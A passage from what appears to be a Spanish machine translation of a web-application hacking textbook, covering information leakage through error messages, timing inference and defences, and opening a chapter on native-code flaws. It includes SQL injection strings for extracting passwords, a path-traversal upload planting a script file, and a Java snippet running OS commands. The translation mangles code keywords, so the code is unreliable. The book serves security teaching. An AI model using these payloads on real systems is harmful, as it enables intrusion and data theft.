entre ellos pueden permitirle inferir detalles sobre la estructura interna y la funcionalidad
de la aplicación.
n El seguimiento de la pila suele incluir números de línea. Al igual que con los mensajes
de error de secuencia de comandos simples descritos anteriormente, estos pueden
permitirle sondear y comprender la lógica interna de los componentes individuales
de la aplicación.
n El mensaje de error suele incluir información adicional sobre la aplicación y el entorno en

el que se ejecuta. En el ejemplo anterior, puede determinar la versión exacta de la
plataforma ASP.NET que se está utilizando. Esto le permite investigar la plataforma en
busca de vulnerabilidades conocidas o nuevas, comportamiento anómalo, errores de
configuración comunes, etc.
Mensajes informativos de depuración

Algunas aplicaciones generan mensajes de error personalizados que contienen una gran cantidad
de información de depuración. Por lo general, se implementan para facilitar la depuración durante
el desarrollo y las pruebas y, a menudo, contienen muchos detalles sobre el estado de tiempo de
ejecución de la aplicación. Por ejemplo:
-------------------------------------------
* * * SESIÓN * * *
-------------------------------------------
i5agor2n2pw3gp551pszsb55
SessionUser.Sessions App.FEStructure.Sessions
SesiónUsuario.Auth 1
SessionUser.BranchID 103
SessionUser.CompanyID 76
SessionUser.BrokerRef RRadv0
SesiónUsuario.UserID 229
SesiónUsuario.Entrenamiento 0
SessionUser.NetworkID 11
SessionUser.BrandingPath FE
URL de inicio de sesión /Predeterminado/fedefault.aspx
URL de retorno ../predeterminado/fedefault.aspx
SesiónUsuario.Clave f7e50aef8fadd30f31f3aea104cef26ed2ce2be50073c
SesiónCliente.ID 306
SesiónCliente.ReviewID 245
UPriv.2100
SessionUser.NetworkLevelUser 0
UPriv.2200
SessionUser.BranchLevelUser 0
SessionDatabase fd219.prod.wahh-bank.com
Los siguientes elementos se incluyen comúnmente en los mensajes de depuración detallados:
n Valores de variables de sesión clave que se pueden manipular a través de la entrada del
usuario n Nombres de host y credenciales para componentes de back-end como bases de
datos n Nombres de archivos y directorios en el servidor n Información incrustada en tokens
de sesión significativos (consulte el Capítulo 7) n Claves de cifrado utilizadas para proteger
los datos transmitidos a través del cliente (consulte el Capítulo 5) Información de depuración
para las excepciones que surgen en los componentes del código nativo, incluidos los valores
de los registros de la CPU, el contenido de la pila y una lista de las DLL cargadas y sus
direcciones base (consulte el Capítulo 16)
Cuando este tipo de funcionalidad de informe de errores está presente en el código de producción
en vivo, puede significar una debilidad crítica en la seguridad de la aplicación. Debe revisarlo
detenidamente para identificar los elementos que se pueden usar para avanzar aún más en su ataque
y las formas en que puede proporcionar información manipulada para manipular el estado de la
aplicación y controlar la información recuperada.
Mensajes del servidor y de la base de datos
Los mensajes de error informativos a menudo no los devuelve la aplicación en sí, sino algún componente
de back-end, como una base de datos, un servidor de correo o un servidor SOAP. Si se produce un
error completamente no controlado, la aplicación normalmente responde con un código de estado HTTP
500 y el cuerpo de la respuesta puede contener más información sobre el error. En otros casos, la
aplicación puede manejar el error correctamente y devolver un mensaje personalizado al usuario, que
a veces incluye información de error generada por el componente de back-end. En algunas situaciones,
la divulgación de información puede utilizarse como conducto para un ataque. La información divulgada
por una aplicación en un mensaje de depuración o una excepción a menudo no es intencional y , como
resultado, los procedimientos de seguridad de la organización pueden pasar por alto por completo la
existencia de la divulgación.
El error devuelto puede habilitar una variedad de ataques adicionales, como se describe en el
siguientes secciones.
Uso de la divulgación de información para promover un

ataque Cuando se lanza un ataque específico contra un componente de back-end del
servidor, es común que ese componente brinde comentarios directos sobre los errores encontrados.
Esto puede ayudarte a afinar el ataque. Los mensajes de error de la base de datos a menudo contienen
información útil. Por ejemplo, a menudo revelan la consulta que generó el error, lo que le permite
afinar un ataque de inyección SQL:
No se pudo recuperar la fila con la instrucción: SELECCIONE object_data DESDE deftr.tblobject DONDE object_id =
'FDJE00012' Y project_id = 'FOO'
y 1=2--'
Consulte el Capítulo 9 para obtener una metodología detallada que describe cómo desarrollar una base de datos.
ataques y extraer información basada en mensajes de error.
Ataques de secuencias de comandos entre sitios dentro de los
mensajes de error Como se describe en el Capítulo 12, protegerse contra las secuencias de comandos entre
sitios es una tarea ardua que requiere la identificación de cada ubicación de salida de los datos proporcionados por el usuario.
Aunque la mayoría de los marcos codifican automáticamente los datos en HTML cuando
informan errores, esto no es universal. Los mensajes de error pueden aparecer en varios
lugares, a menudo inusuales, dentro de una respuesta HTTP. En la llamada
HttpServletResponse .sendError() utilizada por Tomcat, los datos de error también forman
parte del encabezado de respuesta:
HTTP/1.1 500 Error general al acceder a Doc10083011

Servidor: Apache-Coyote/1.1
Tipo de contenido: texto/html;charset=ISO-8859-1
Fecha: sábado, 23 de abril de 2011 08:52:15 GMT
Conexión: cerrar
Un atacante que tenga control sobre la cadena de entrada Doc10083011 podría proporcionar
caracteres de retorno de carro y realizar un ataque de inyección de encabezado HTTP o un
ataque de secuencias de comandos entre sitios dentro de la respuesta HTTP. Más detalles se
pueden encontrar aquí:
http://www.securityfocus.com/archive/1/495021/100/0/threaded
Los mensajes de error personalizados con frecuencia están destinados a un destino que no
es HTML , como una consola, pero se informan erróneamente al usuario en una respuesta HTTP.
En estas situaciones, las secuencias de comandos entre sitios suelen ser fácilmente explotables.
Oráculos de descifrado en la divulgación de

información El Capítulo 11 proporcionó un ejemplo de cómo se podría aprovechar un
"oráculo de cifrado" no intencional para descifrar cadenas presentadas al usuario en formato
cifrado. El mismo problema puede aplicarse a la divulgación de información. El Capítulo 7
dio un ejemplo de una aplicación que proporcionó un enlace de descarga encriptado para
acceder a archivos. Si un archivo se había movido o eliminado desde entonces, la aplicación
informaba que el archivo no se podía descargar. Por supuesto, el mensaje de error contenía el archivo descifrado.
valor, por lo que cualquier "nombre de archivo" encriptado podría proporcionarse al enlace de descarga,
lo que generaría un error.
En estos casos, la divulgación de información resultó del abuso de una retroalimentación
deliberada. También es posible que la divulgación de información sea más accidental si los
parámetros se descifran y luego se usan en varias funciones, cualquiera de las cuales puede
registrar datos o generar mensajes de error. Un ejemplo encontrado por los autores fue una
aplicación de flujo de trabajo compleja que hacía uso de parámetros cifrados transmitidos a
través del cliente. Al intercambiar los valores predeterminados utilizados para dbid y group
phome , la aplicación respondió con un error:
java.sql.SQLException: el oyente rechazó la conexión con el siguiente error: ORA-12505, TNS:el oyente no
conoce actualmente el SID proporcionado en el descriptor de conexión El descriptor de conexión utilizado por
el cliente fue: 172.16.214.154:1521:docs/londonoffice /2010/general
Esto proporcionó una visión considerable. Específicamente, dbid era en realidad un SID
encriptado para una conexión a una base de datos Oracle (el descriptor de conexión toma la
forma Servidor:Puerto:SID), y grouphome era una ruta de archivo encriptada.
En un ataque análogo a muchos otros ataques de divulgación de información, el
conocimiento de la ruta del archivo proporcionó la información necesaria para realizar un
ataque de manipulación de la ruta del archivo. Proporcionando exactamente tres caracteres
transversales de ruta en un nombre de archivo y navegando por una estructura de directorio
similar, fue posible cargar archivos que contenían scripts maliciosos directamente en el espacio
de trabajo de otro grupo:
POST /dashboard/utils/fileupload HTTP/1.1 Aceptar: texto/html,

aplicación/xhtml+xml, */*
Referencia: http://wahh/dashboard/common/newnote
Aceptar-Idioma: es-ES
Tipo de contenido: multipart/form-data; límite=------7db3d439b04c0
Anfitrión: wahh
Conexión proxy: Keep-Alive
--------7db3d439b04c0
Contenido-Disposición: formulario-datos; nombre = "MAX_FILE_SIZE"
100000
--------7db3d439b04c0
Contenido-Disposición: formulario-datos; nombre=”archivo cargado”; nombre de archivo =”../../../ newportoffice/2010/general/
xss.html”
<html><cuerpo><script>...
...
PASOS DE HACK
1. Cuando esté probando la aplicación en busca de vulnerabilidades comunes

mediante el envío de cadenas de ataque manipuladas en diferentes parámetros,
siempre controle las respuestas de la aplicación para identificar cualquier
mensaje de error que pueda contener información útil.
Intente forzar una respuesta de error de la aplicación proporcionando

cadenas de datos cifradas en el contexto incorrecto o realizando acciones en
recursos que no están en el estado correcto para manejar la acción.
2. Tenga en cuenta que la información de error que se devuelve dentro del servidor
Es posible que la respuesta no se muestre en la pantalla dentro del navegador. Una
forma eficiente de identificar muchas condiciones de error es buscar en cada respuesta
sin procesar palabras clave que a menudo se encuentran en los mensajes de error. Por ejemplo:
n error
n excepción n
ilegal
no válido
fallar _
n pila
n acceso
n directorio
n archivo
n no encontrado
n varchar
n ODBC
n SQL
n SELECCIONAR
3. Cuando envíe una serie de solicitudes modificando parámetros dentro de una

solicitud base, verifique si la respuesta original ya contiene alguna de las palabras
clave que está buscando para evitar falsos positivos.
4. Puede usar la función Grep de Burp Intruder para identificar rápidamente cualquier
ocurrencias de palabras clave interesantes en cualquiera de las respuestas
generadas por un ataque dado (ver Capítulo 14). Cuando se encuentren
coincidencias, revise las respuestas relevantes manualmente para determinar si
se ha devuelto alguna información de error útil.
SUGERENCIA Si está viendo las respuestas del servidor en el navegador, tenga en

cuenta que Internet Explorer oculta de manera predeterminada muchos mensajes de error y
los reemplaza con una página genérica. Puede deshabilitar este comportamiento eligiendo
Herramientas ÿ Opciones de Internet y luego eligiendo la pestaña Avanzado.
Uso de información pública

Debido a la gran variedad de tecnologías y componentes de aplicaciones web de uso
común, con frecuencia debe esperar encontrar mensajes inusuales que no ha visto
antes y que pueden no indicar inmediatamente la naturaleza del error que experimentó
la aplicación. En esta situación, a menudo puede obtener más información sobre el
significado del mensaje de varias fuentes públicas.
A menudo, un mensaje de error inusual es el resultado de una falla en una API específica.
La búsqueda del texto del mensaje puede llevarlo a la documentación de esta API o a
foros de desarrolladores y otros lugares donde se analiza el mismo problema.
Muchas aplicaciones emplean componentes de terceros para realizar tareas comunes

específicas, como búsquedas, carritos de compras y funciones de comentarios del sitio.
Es probable que cualquier mensaje de error generado por estos componentes haya
surgido en otras aplicaciones y probablemente se haya discutido en otra parte.
Algunas aplicaciones incorporan código fuente que está disponible públicamente. Al
buscar expresiones específicas que aparecen en mensajes de error inusuales, puede
descubrir el código fuente que implementa la función relevante. Luego puede revisar
esto para comprender exactamente qué procesamiento se está realizando en su entrada
y cómo puede manipular la aplicación para explotar una vulnerabilidad.
PASOS DE HACK
1. Busque el texto de cualquier mensaje de error inusual utilizando motores de

búsqueda estándar. Puede utilizar varias funciones de búsqueda avanzada para
reducir los resultados. Por ejemplo:
"no se puede recuperar" tipo de archivo: php
2. Revise los resultados de la búsqueda, buscando cualquier discusión sobre el

mensaje de error y cualquier otro sitio web en el que haya aparecido el mismo
mensaje. Otras aplicaciones pueden generar el mismo mensaje en un contexto
más detallado, lo que le permite comprender mejor qué tipo de condiciones dan
lugar al error. Utilice la memoria caché del motor de búsqueda para recuperar
ejemplos de mensajes de error que ya no aparecen en la aplicación activa.
3. Use la búsqueda de código de Google para ubicar cualquier código disponible

públicamente que pueda ser responsable de un mensaje de error en particular.
Busque fragmentos de mensajes de error que pueden estar codificados en el
código fuente de la aplicación. También puede usar varias funciones de búsqueda
avanzada para especificar el lenguaje del código y otros detalles si los conoce. Por ejemplo:
incapaz\ de\ recuperar lang:php paquete:correo
4. Si ha obtenido seguimientos de pila que contienen los nombres de la biblioteca

y los componentes de código de terceros, busque estos nombres en ambos
tipos de motores de búsqueda.
Mensajes de error informativos de ingeniería

En algunas situaciones, puede ser posible diseñar sistemáticamente condiciones de error
de tal manera que se recupere información confidencial dentro del propio mensaje de error.
Una situación común en la que surge esta posibilidad es cuando puede hacer que la
aplicación intente alguna acción no válida en un elemento de datos específico. Si el mensaje
de error resultante revela el valor de esos datos y puede hacer que se procesen elementos
de información interesantes de esta manera, puede aprovechar este comportamiento para
extraer datos arbitrarios de la aplicación.
Los mensajes de error detallados de conectividad abierta de bases de datos (ODBC) se pueden
aprovechar en un ataque de inyección SQL para recuperar los resultados de consultas de bases de datos arbitrarias.
Por ejemplo, el siguiente SQL, si se inyecta en una cláusula WHERE , haría que la base de
datos convirtiera la contraseña del primer usuario en la tabla de usuarios en un número
entero para realizar la evaluación:
' y 1=(seleccione la contraseña de los usuarios donde uid=1)--
Esto da como resultado el siguiente mensaje de error informativo:
Error: la conversión falló al convertir el valor varchar '37CE1CCA75308590E4D6A35F288B58FACDBB0841'

al tipo de datos int.
INTENTALO
http://mdsec.net/libreta de direcciones/32
Una forma diferente en la que se puede utilizar este tipo de técnica es cuando un error
de aplicación genera un seguimiento de pila que contiene una descripción del error, y
puede diseñar una situación en la que se incorpore información interesante en la descripción
del error.
Algunas bases de datos ofrecen la posibilidad de crear funciones definidas por el usuario
escritas en Java. Al explotar una falla de inyección de SQL, puede crear su propia función
para realizar tareas arbitrarias. Si la aplicación devuelve mensajes de error al navegador,
desde dentro de su función puede generar una excepción de Java que contenga datos
arbitrarios que necesita recuperar. Por ejemplo, el siguiente código ejecuta el comando del
sistema operativo ls y luego genera una excepción que contiene el resultado del comando.
Esto devuelve un seguimiento de la pila al navegador, cuya primera línea contiene una lista
de directorios:
ByteArrayOutputStream baos = new ByteArrayOutputStream();

tratar
{
Proceso p = Runtime.getRuntime().exec(“ls”); InputStream es =
p.getInputStream(); intc; while (-1 != (c = is.read())) baos.write((byte) c);
}
captura (Excepción e)
{
} lanza una nueva RuntimeException(nueva String(baos.toByteArray()));
Recopilación de información publicada
Además de la divulgación de información útil dentro de los mensajes de error, la

otra forma principal en que las aplicaciones web revelan datos confidenciales es
publicándolos directamente. Hay varias razones por las que una aplicación puede
publicar información que un atacante puede utilizar:
n Por diseño, como parte de la funcionalidad principal de la aplicación n
Como un efecto secundario no deseado de otra función
n A través de la funcionalidad de depuración que permanece presente en la aplicación en vivo n Debido
a alguna vulnerabilidad, como controles de acceso rotos
Estos son algunos ejemplos de información potencialmente confidencial que las aplicaciones suelen
publicar para los usuarios:
n Listas de nombres de usuario, números de cuenta e identificaciones de documentos
válidos n Detalles del perfil de usuario, incluidos roles y privilegios de usuario, fecha del último inicio de sesión,
y estado de la cuenta
n La contraseña del usuario actual (generalmente está enmascarada en la pantalla, pero

presentes en la fuente de la página)
n Archivos de registro que contienen información como nombres de usuario, direcciones URL,
acciones realizadas , tokens de sesión y consultas de bases de datos n Detalles de la
aplicación en el código fuente HTML del lado del cliente, como enlaces comentados o campos de
formulario y comentarios sobre errores
PASOS DE HACK
1. Revise los resultados de sus ejercicios de asignación de aplicaciones (consulte el

Capítulo 4) para identificar toda la funcionalidad del lado del servidor y los datos del
lado del cliente que pueden usarse para obtener información útil.
2. Identifique cualquier ubicación dentro de la aplicación donde se transmitan datos

confidenciales, como contraseñas o detalles de tarjetas de crédito, desde el servidor
al navegador. Incluso si están enmascarados en la pantalla, aún se pueden ver dentro
de la respuesta del servidor. Si ha encontrado otra capacidad de vulnerabilidad
adecuada, como dentro de los controles de acceso o el manejo de sesiones, este
comportamiento se puede usar para obtener la información que pertenece a otra aplicación.
usuarios
3. Si identifica algún medio para extraer información confidencial, utilice las técnicas
descritas en el Capítulo 14 para automatizar el proceso.
Uso de la inferencia
En algunas situaciones, es posible que una aplicación no le divulgue ningún dato directamente,
pero puede comportarse de manera que le permita inferir información útil de manera confiable.
Ya hemos encontrado muchos casos de este fenómeno en el curso del examen de otras
categorías de vulnerabilidad común. Por ejemplo:
n Una función de registro que le permite enumerar los nombres de usuario registrados
sobre la base de un mensaje de error cuando se elige un nombre de usuario existente
(consulte el Capítulo 6). n Un motor de búsqueda que le permite inferir el contenido de
los documentos indexados que no está autorizado a ver directamente (consulte el Capítulo
11).
n Una vulnerabilidad de inyección SQL ciega en la que puede alterar el comportamiento
de la aplicación agregando una condición binaria a una consulta existente, lo que le
permite extraer información bit por bit (consulte el Capítulo 9).
n El ataque “oráculo de relleno” en .NET, donde un atacante puede descifrar cualquier
cadena enviando una serie de solicitudes al servidor y observando cuáles resultan en
un error durante el descifrado (consulte el Capítulo 18).
Otra forma en que las diferencias sutiles en el comportamiento de una aplicación pueden
revelar información ocurre cuando diferentes operaciones toman diferentes períodos de tiempo
para realizarse, dependiendo de algún hecho que sea de interés para un atacante.
Esta divergencia puede surgir por varias razones:
n Muchas aplicaciones grandes y complejas recuperan datos de numerosos sistemas

back-end, como bases de datos, colas de mensajes y mainframes. Para mejorar el
rendimiento, algunas aplicaciones almacenan en caché información que se usa con
frecuencia. De manera similar, algunas aplicaciones emplean un enfoque de carga
diferida , en el que los objetos y los datos se cargan solo cuando se necesitan. En esta
situación, los datos a los que se ha accedido recientemente se recuperan rápidamente
de la copia en caché local del servidor, mientras que otros datos se recuperan más lentamente de la
fuente de back-end relevante.
Este comportamiento se ha observado en aplicaciones de banca en línea. Una solicitud

para acceder a una cuenta lleva más tiempo si la cuenta está inactiva que si está activa,
lo que permite a un atacante experto enumerar las cuentas a las que otros usuarios han
accedido recientemente.
n En algunas situaciones, la cantidad de procesamiento que realiza una solicitud en una

solicitud en particular puede depender de si un elemento de datos enviado es válido.
Por ejemplo, cuando se proporciona un nombre de usuario válido a un mecanismo de
inicio de sesión, la aplicación puede realizar varias consultas a la base de datos para
recuperar información de la cuenta y actualizar el registro de auditoría. También puede realizar
operaciones computacionalmente intensivas para validar la contraseña proporcionada

contra un hash almacenado. Si un atacante puede detectar esta diferencia de tiempo,
puede explotarla para enumerar nombres de usuario válidos.
n Algunas funciones de la aplicación pueden realizar una acción en función de la entrada del
usuario que agota el tiempo de espera si un elemento de los datos enviados no es válido.
Por ejemplo, una aplicación puede usar una cookie para almacenar la dirección de un
host ubicado detrás de un balanceador de carga frontal. Un atacante puede manipular
esta dirección para buscar servidores web dentro de la red interna de la organización. Si
se proporciona la dirección de un servidor real que no forma parte de la infraestructura de
la aplicación, la aplicación puede devolver inmediatamente un error. Si se proporciona una
dirección inexistente, es posible que la aplicación agote el tiempo de espera para intentar
comunicarse con esta dirección antes de devolver el mismo error genérico. Puede usar
los temporizadores de respuesta dentro de la tabla de resultados de Burp Intruder para
facilitar esta prueba. Tenga en cuenta que estas columnas están ocultas de forma
predeterminada, pero se pueden mostrar a través del menú Columnas.
PASOS DE HACK
1. Las diferencias en el momento de las respuestas de la aplicación pueden ser

sutiles y difíciles de detectar. En una situación típica, vale la pena probar la
aplicación para este comportamiento solo en áreas clave seleccionadas donde
se envía un elemento crucial de datos interesantes y donde es probable que el
tipo de procesamiento que se realiza genere diferencias de tiempo.
2. Para probar una función en particular, compile una lista que contenga varios
elementos que se sepa que son válidos (o a los que se haya accedido
recientemente) y una segunda lista que contenga elementos que se sepa que
no son válidos (o que estén inactivos). Realice solicitudes que contengan cada
elemento de estas listas de forma controlada, emitiendo solo una solicitud a la
vez y controlando el tiempo que tarda la aplicación en responder a cada
solicitud. Determine si existe alguna correlación entre el estado del elemento y el tiempo que se tarda
3. Puede utilizar Burp Intruder para automatizar esta tarea. Por cada solicitud que
genera, Intruder registra automáticamente el tiempo que tarda la aplicación en
responder y el tiempo que tarda en completar la respuesta. Puede ordenar una
tabla de resultados por cualquiera de estos atributos para identificar
rápidamente cualquier correlación obvia.
Prevención de fugas de información
Aunque puede que no sea factible o deseable evitar la divulgación de absolutamente cualquier
información que un atacante pueda encontrar útil, se pueden tomar varias medidas relativamente
sencillas para reducir la fuga de información a un nivel mínimo.
mínimo y para retener los datos más confidenciales que pueden socavar gravemente la
seguridad de una aplicación si se divulgan a un atacante.
Usar mensajes de error genéricos

La aplicación nunca debe devolver mensajes de error detallados ni información de depuración al
navegador del usuario. Cuando ocurre un evento inesperado (como un error en una consulta de la base
de datos, una falla al leer un archivo del disco o una excepción en una llamada API externa), la aplicación
debe devolver el mismo mensaje genérico que informa al usuario que ocurrió un error. . Si es necesario
registrar información de depuración con fines de soporte o diagnóstico, debe mantenerse en un registro
del lado del servidor que no sea de acceso público. Se puede devolver al usuario un número de índice
para la entrada de registro relevante, lo que le permite informar esto cuando se comunique con la mesa
de ayuda, si es necesario.
La mayoría de las plataformas de aplicaciones y los servidores web se pueden configurar para enmascarar el error.
información de ser devuelto al navegador:
n En ASP.NET, puede suprimir los mensajes de error detallados mediante el

elemento customErrors del archivo Web.config configurando el atributo mode en
On o RemoteOnly y especificando una página de error personalizada en el nodo
tRedirect predeterminado .
n En la Plataforma Java, puede configurar mensajes de error personalizados utilizando el elemento

de página de error del archivo web.xml . Puede usar el nodo de tipo de excepción para especificar
un tipo de excepción de Java, o puede usar el nodo de código de error para especificar un código
de estado HTTP. Puede usar el nodo de ubicación para configurar la página personalizada que
se mostrará en caso de que se produzca el error especificado.
n En Microsoft IIS, puede especificar páginas de error personalizadas para diferentes códigos de
estado HTTP utilizando la pestaña Errores personalizados en la pestaña Propiedades de un sitio web.
Se puede configurar una página personalizada diferente para cada código de estado y por
directorio si es necesario.
n En Apache, las páginas de error personalizadas se pueden configurar mediante el ErrorDocument

directiva en httpd.conf:
ErrorDocument 500 /generalerror.html
Proteja la información confidencial

Siempre que sea posible, la aplicación no debe publicar información que pueda ser útil para un atacante,
incluidos los nombres de usuario, las entradas de registro y los detalles del perfil del usuario. Si ciertos
usuarios necesitan acceder a esta información, debe estar protegida por controles de acceso efectivos y
estar disponible solo cuando sea estrictamente necesario.
En los casos en que la información confidencial deba divulgarse a un usuario autorizado

(por ejemplo, cuando los usuarios pueden actualizar la información de su propia cuenta), los
datos existentes no deben divulgarse cuando no sea necesario. Por ejemplo, los números de
tarjetas de crédito almacenados deben mostrarse truncados y los campos de contraseña nunca
deben completarse previamente, incluso si están ocultos en la pantalla. Estas medidas
defensivas ayudan a mitigar el impacto de cualquier vulnerabilidad grave que pueda existir
dentro de los mecanismos de seguridad centrales de autenticación, administración de sesiones
y control de acceso de la aplicación.
Minimice la fuga de información del lado del cliente

Siempre que sea posible, se deben eliminar o modificar los anuncios de servicio para minimizar
la divulgación de versiones de software específicas, etc. Los pasos necesarios para implementar
esta medida dependen de las tecnologías en uso. Por ejemplo, en Microsoft IIS, el encabezado
del servidor se puede eliminar mediante URLScan en la herramienta IISLockDown. En versiones
posteriores de Apache, esto se puede lograr usando el módulo mod_headers . Debido a que
esta información está sujeta a cambios, se recomienda que consulte la documentación de su
servidor antes de realizar cualquier modificación.
Todos los comentarios deben eliminarse del código del lado del cliente que se implementa en
el entorno de producción en vivo, incluidos todos los HTML y JavaScript.
Debe prestar especial atención a los componentes de extensión del navegador , como los
subprogramas de Java y los controles ActiveX. No se debe ocultar información confidencial
dentro de estos componentes. Un atacante habilidoso puede descompilar o aplicar ingeniería
inversa a estos componentes para recuperar efectivamente su código fuente (consulte el Capítulo 5).
Resumen
La fuga de información innecesaria frecuentemente no presenta ningún tipo de defecto
significativo en la seguridad de una aplicación. Incluso los seguimientos de pila muy detallados
y otros mensajes de depuración a veces pueden proporcionarle poca influencia para intentar
atacar la aplicación.
En otros casos, sin embargo, puede descubrir fuentes de información que son de gran valor
para desarrollar su ataque. Por ejemplo, puede encontrar listas de nombres de usuario, las
versiones precisas de los componentes de software o la estructura interna y la funcionalidad de
la lógica de la aplicación del lado del servidor.
Debido a esta posibilidad, cualquier ataque grave a una aplicación debe incluir un examen
forense tanto de la aplicación en sí como de los recursos disponibles públicamente para que
pueda recopilar cualquier información que pueda ser útil para formular sus ataques contra ella.
En algunas ocasiones, la información recopilada de esta manera puede proporcionar la base
para un compromiso completo de la aplicación que la reveló.
Preguntas
1. Mientras busca vulnerabilidades de inyección SQL, solicita lo siguiente

dirección URL:
https://wahh-app.com/list.aspx?artist=foo'+have+1%3d1--
Recibe el siguiente mensaje de error:

Servidor: Msj 170, Nivel 15, Estado 1, Línea 1
Línea 1: Sintaxis incorrecta cerca de 'tener1'.
¿Qué puedes inferir de esto? ¿La aplicación contiene algún exploit?

condición capaz?
2. Mientras realiza pruebas de fuzz de varios parámetros, una aplicación

ción devuelve el siguiente mensaje de error:
Advertencia: mysql_connect() [function.mysql-connect]: acceso denegado para el usuario 'premiumdde'@'localhost' (con
contraseña: YES) en /home/doau/public_html/premiumdde/directory en la línea 15 Advertencia: mysql_select_db() [ function.mysql-
select-db]: Acceso denegado para el usuario 'nadie'@'localhost' (con contraseña: NO) en /home/doau/public_html/premiumdde/
directory en la línea 16 Advertencia: mysql_select_db() [function.mysql- select-db]: No se pudo establecer un enlace al servidor en
/home/doau/public_html/premiumdde/directory on line 16 Advertencia: mysql_query() [function.mysql-

query]: acceso denegado para el usuario 'nadie'@'localhost' (con contraseña: NO) en /home/doau/public_html /premiumdde/
directorio en la línea 448
¿Qué información útil puede extraer de esto?
3. Mientras mapea una aplicación, descubre un directorio oculto en el servidor que tiene
habilitada la lista de directorios y parece contener varios scripts antiguos. Solicitar uno de
estos scripts devuelve el siguiente mensaje de error:
Error de CGIWrap: no se permite la ejecución de este script

La ejecución de (contact.pl) no está permitida por la siguiente razón:
El script no es ejecutable. Problema 'chmod 755 nombre de archivo'
Información y Documentación Local:
Documentos de CGIWrap: http://wahh-app.com/cgiwrap-docs/

Correo electrónico de contacto: [email protected]
Datos del servidor:

Administrador del servidor/Contacto: [email protected]
Nombre del servidor: wahh-app.com
Puerto del servidor: 80
Protocolo del servidor: HTTP/1.1
Solicitud de datos:
Agente de usuario/navegador: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 2.0.50727; FDM; InfoPath.1; .NET CLR 1.1.4322)
Método de solicitud: OBTENER
Dirección remota: 192.168.201.19
Puerto Remoto: 57961
Página de referencia: http://wahh-app.com/cgi-bin/cgiwrap/fodd
¿Qué causó este error y qué vulnerabilidad de aplicación web común

debe verificar rápidamente?
4. Está probando la función de un parámetro de solicitud en un intento de determinar
su propósito dentro de una aplicación. Usted solicita la siguiente URL:
https://wahh-app.com/agents/checkcfg.php?name=admin&id=13&log=1
La aplicación devuelve el siguiente mensaje de error:

Advertencia: mysql_connect() [function.mysql-connect]: no se puede conectar a
Servidor MySQL en 'admin' (10013) en
/var/local/www/include/dbconfig.php en la línea 23
¿Qué causó este mensaje de error y qué vulnerabilidades debe investigar como
resultado?
5. Mientras procesa una solicitud para varias categorías de vulnerabilidades,

envía una comilla simple dentro de cada parámetro de solicitud por turno.
Uno de los resultados contiene un código de estado HTTP 500, lo que indica una
posible inyección de SQL. Compruebas el contenido completo del mensaje, que es
el siguiente:
Error de tiempo de ejecución de Microsoft VBScript '800a000d' Error de
coincidencia de tipo: ' [cadena: "'"]' /scripts/confirmOrder.asp, línea 715
¿La aplicación es vulnerable?

CAPÍTULO R
dieciséis
atacando nativo
Aplicaciones compiladas
Históricamente, el software compilado que se ejecuta en un entorno de ejecución nativo ha

estado plagado de vulnerabilidades, como desbordamientos de búfer y errores de cadenas de formato.
La mayoría de las aplicaciones web están escritas utilizando lenguajes y plataformas que
se ejecutan en un entorno de ejecución administrado en el que no surgen estas
vulnerabilidades clásicas. Una de las ventajas más significativas de lenguajes como C#
y Java es que los programadores no necesitan preocuparse por el tipo de problemas de
gestión de búfer y aritmética de punteros que han afectado al software desarrollado en
lenguajes nativos como C y C++ y que han dado dar lugar a la mayoría de los errores
críticos encontrados en ese software.
No obstante, es posible que ocasionalmente encuentre aplicaciones web escritas en
código nativo. Además, muchas aplicaciones escritas principalmente con código
administrado contienen partes de código nativo o llaman a componentes externos que se
ejecutan en un contexto no administrado. A menos que sepa con certeza que su
aplicación de destino no contiene ningún código nativo, vale la pena realizar algunas
pruebas básicas diseñadas para descubrir las vulnerabilidades clásicas que puedan existir.
Las aplicaciones web que se ejecutan en dispositivos de hardware, como impresoras y
conmutadores, suelen contener algún código nativo. Otros posibles objetivos incluyen
cualquier página o secuencia de comandos cuyo nombre incluya posibles indicadores de
código nativo, como dll o exe, y cualquier funcionalidad conocida por llamar a componentes
externos heredados, como mecanismos de registro. Si cree que la aplicación que está
atacando contiene cantidades sustanciales de código nativo, puede ser conveniente probar cada pieza de
633
634 Capítulo 16 n Atacar aplicaciones compiladas nativas
datos proporcionados por el usuario procesados por la aplicación, incluidos los nombres y
valores de cada parámetro, cookie, encabezado de solicitud y otros datos.
Este capítulo cubre tres categorías principales de vulnerabilidades de software clásicas:
desbordamientos de búfer, vulnerabilidades de enteros y errores de cadenas de formato. En
cada caso, describiremos algunas vulnerabilidades comunes y luego describiremos los pasos
prácticos que puede seguir al buscar estos errores dentro de una aplicación web. Este tema
es enorme y se extiende mucho más allá del alcance de un libro sobre piratería de aplicaciones
web. Para obtener más información sobre las vulnerabilidades del software nativo y cómo
encontrarlas, recomendamos los siguientes libros:
n The Shellcoder's Handbook, 2.ª edición, por Chris Anley, John Heasman,
Félix Linder y Gerardo Richarte (Wiley, 2007)
n El arte de la evaluación de la seguridad del software por Mark Dowd, John McDonald,
y Justin Schuh (Addison-Wesley, 2006)
n Grey Hat Hacking, 2.ª edición, de Shon Harris, Allen Harper, Chris Eagle,
y Jonathan Ness (McGraw-Hill Osborne, 2008)
NOTA El sondeo remoto de las vulnerabilidades descritas en este capítulo conlleva

un alto riesgo de denegación de servicio a la aplicación. A diferencia de las
vulnerabilidades como la autenticación débil y el cruce de rutas, es probable que la
mera detección de vulnerabilidades de software clásicas provoque excepciones no
controladas dentro de la aplicación de destino, lo que puede provocar que deje de
funcionar. Si tiene la intención de sondear una aplicación en vivo para detectar estos
errores, debe asegurarse de que el propietario de la aplicación acepte los riesgos asociados con la prueba antes de
Vulnerabilidades de desbordamiento de búfer
Las vulnerabilidades de desbordamiento de búfer ocurren cuando una aplicación copia datos
controlables por el usuario en un búfer de memoria que no es lo suficientemente grande para
acomodarlos. El búfer de destino se desborda, lo que da como resultado que la memoria
adyacente se sobrescriba con los datos del usuario. Dependiendo de la naturaleza de la
vulnerabilidad, un atacante puede explotarla para ejecutar código arbitrario en el servidor o
realizar otras acciones no autorizadas. Las vulnerabilidades de desbordamiento de búfer han
prevalecido enormemente en el software nativo a lo largo de los años y han sido ampliamente
consideradas como el enemigo público número uno que los desarrolladores de dicho software deben evitar.
Desbordamientos de pila
Los desbordamientos de búfer suelen surgir cuando una aplicación utiliza una operación de
